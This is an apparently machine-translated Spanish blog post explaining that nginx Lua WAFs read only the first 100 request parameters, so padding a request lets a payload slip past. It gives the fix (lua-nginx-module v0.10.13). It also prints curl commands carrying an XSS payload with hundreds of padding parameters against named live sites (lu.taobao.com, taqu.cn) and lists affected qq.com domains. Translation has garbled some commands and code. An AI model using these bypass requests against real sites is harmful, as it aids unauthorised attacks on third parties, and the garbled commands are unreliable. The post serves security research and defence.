|
|
Publicado en 27/4/2018 9:23:29
|
|
|
|

Cuando ginx Lua obtiene parámetros, los primeros 100 valores de parámetro se obtienen por defecto y el resto se descartan. Por lo tanto, los WAFs que usan Nginx Lua serán evitados por defecto. El 20 de abril del 18, alguien en el pasajero de seguridad ya había revelado este detalle, así que también publiqué este artículo 233.
Principio
La descripción oficial es la siguiente
Ten en cuenta que un máximo de 100 argumentos de petición se analizan por defecto (incluidos los del mismo nombre) y que los argumentos adicionales de petición se descartan silenciosamente para evitar posibles Ataques de denegación de servicio. Por defecto se pueden analizar hasta 100 parámetros de solicitud (incluidos los del mismo nombre), y se eliminan automáticamente parámetros adicionales para evitar posibles ataques de denegación de servicio.
Busca 100, más o menos el siguiente método tiene el mismo problema. ngx.req.get_uri_args Obtén los parámetros de solicitud para get ngx.req.get_post_args Obtén los parámetros de la solicitud para la publicación ngx.req.get_headers Obtener la cabecera de la solicitud ngx.decode_args Decodifica la URL de los parámetros ngx.resp.get_headers Obtener el encabezado de respuesta En el código fuente de lua-nginx-module, podemos ver que el código fuente establece el parámetro máximo y el encabezado de la solicitud por defecto en 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Sin embargo, el oficial proporciona un método para modificar el valor por defecto, como ngx.req.get_uri_args (200) para obtener los primeros 200 parámetros de la solicitud.
Prueba
Si el parámetro de solicitud es 101, no se puede obtener el último parámetro de solicitud.
Curl -V 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Si reduces un parámetro de solicitud, puedes obtener el último parámetro cuando los parámetros de solicitud sean exactamente 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 R: ZBG Te entiendo, zbg
Ten en cuenta que el valor predeterminado es efectivamente 100 parámetros de solicitud, y los parámetros de solicitud después de 100 parámetros serán descartados.
Hay algo extraño en que en el contenido de retorno anterior, en medio de la posición aproximada, el parámetro final zbg ya está emitido. Mi suposición es que la salida no está en orden, pero el orden en que se realiza el análisis sigue el orden en que se envían los parámetros, porque cuando el valor del parámetro 101 es zbg, no se puede obtener.
Adjunto está el script en python que genera los parámetros:
# Autor: ZBG # Correo:zbg@zbg.org # Fecha: 2018-04-03
a = '' Para i en rango (200): A = A + 'A{0}={1}&'.Format(i+1, I+1) Imprimir A reparar Por supuesto, no se recomienda modificar el valor MAX del parámetro en el código fuente. Porque, por muy grande que sea el valor que establezcas, se puede saltarse. Se recomienda ajustarlo según los parámetros del método. Si puedes obtener la longitud del parámetro de la solicitud y usar un método como ngx.req.get_uri_args (lenth), ¿no sería suficiente? Al leer la documentación, descubrí que no se podía obtener el número de parámetros solicitados. Sin embargo, si pones la lente en 0, puedes obtener todos los parámetros solicitados.
Este argumento puede fijarse en cero para eliminar el límite y procesar todos los argumentos de solicitud recibidos. args local = ngx.req.get_uri_args(0)
Sin embargo, se desaconseja encarecidamente ponerla en 0 para evitar posibles ataques de denegación de servicio.
Se desaconseja encarecidamente eliminar el límite de max_args.
En realidad, me preguntaba por qué poner 0 podría provocar un posible ataque de denegación de servicio, y la solicitud iría a nginx de todas formas, sin importar cuántos parámetros hubiera en get o post.
Planteé un problema al funcionario, y el autor dijo que ngx.req.get_uri_args (0) aumentará el consumo de CPU y memoria del servidor. Más tarde, probé 200 parámetros y usé Nginx+php para obtener el parámetro número 200, lo que significa que Nginx no limita por defecto el número de parámetros solicitados. Entonces el problema puede estar en Nginx Lua mismo,Cuando Nginx Lua usa ngx.req.get_uri_args(0) para obtener todos los parámetros y los recorre, una vez que se solicitan muchos parámetros, consume más CPU y memoria, e incluso acaba provocando una denegación de servicio。
El 03/04/2018, Bypass007 planteó oficialmente un PROBLEMA sobre esta corrección de errores, y finalmente añadió oficialmente una nueva función basada en este PROBLEMA el 21-04-2018. La dirección del registro de commit de esta función: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
La descripción de la función es la siguiente: En versiones posteriores a la v0.10.13 (incluida la v0.10.13), cuando se incumple el número límite de solicitudes, el segundo valor de retorno es la cadena truncada. Desde la v0.10.13, cuando se supera el límite, devolverá un segundo valor que es la cadena "truncada". Sin embargo, el argumento opcional de la función max_args puede usarse para anular este límite: args local, err = ngx.req.get_uri_args(10) si err == "truncado" entonces -- se puede elegir ignorar o rechazar la solicitud actual aquí fin
Así que salió la solución final.
Actualizar lua-nginx-module a v0.10.13 o posterior
Luego limita el número total de parámetros, en cuanto a cuánto está limitado el número total, personalmente creo que 100 es suficiente
OpenResty actualiza el módulo lua-nginx
No encontré información sobre el módulo de mejora de OpenResty, así que descubrí cómo mejorar el módulo lua-nginx por mi cuenta.
Los pasos son los siguientes:
Descarga la versión correspondiente del módulo lua-nginx WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 desempaquetar tar -zxvf v0.10.13 Eliminar la versión anterior del módulo lua-nginx rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Copiar el nuevo módulo lua-nginx MV Lua-nginx-module-0.10.13 OpenResty-1.9.15.1/Bundle/ngx_lua-0.10.13 Para compilación, consulte los parámetros de compilación de VeryNginx
Bypass de caja
Cabe aclarar que los siguientes WAFs no estoy seguro de si usar Nginx Lua, pero pueden ser ignorados por el número total de parámetros.
Ali WAF
Este WAF es un WAF utilizado internamente por Alibaba, es decir, el WAF usado por nombres de dominio como *.taobao.com, y no ha sido probado para el WAF en la nube vendido por Alibaba Cloud. Primero, solicita una carga útil POST XSS para interceptarlo. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com A través de Fuzz, se descubrió que cuando el número de parámetros aumenta a 478, con la carga útil XSS, ya no se intercepta y el sitio web puede accederse normalmente. Rotación -v -D 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
El WAF probado es un WAF vendido por UCloud. Cuando el parámetro de solicitud se incrementa a 138, dejará de bloquearse y el sitio web será accedido normalmente. curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alerta(1234)' taqu.cn
Tencent WAF
Este WAF es un WAF utilizado internamente por Tencent, es decir, el WAF usado por nombres de dominio como *.qq.com, y no ha sido probado para el WAF en la nube vendido por Tencent Cloud. Cuando el parámetro de solicitud aumenta a 4000, dejará de bloquearse y el sitio web será accedido normalmente. Se ven afectadas las pruebas aleatorias de los siguientes dominios. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
resumen
Esta pregunta es muy sencilla, y puedes encontrarla leyendo el documento detenidamente. ¿Pero por qué no lo descubrí? Creo que sigue siendo muy poco pensamiento. Referencia
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Anterior:Aprende Photoshop desde cero, 18 lecciones desde principiante hasta diosPróximo:Fortalezas y debilidades de Lua y Luajit
|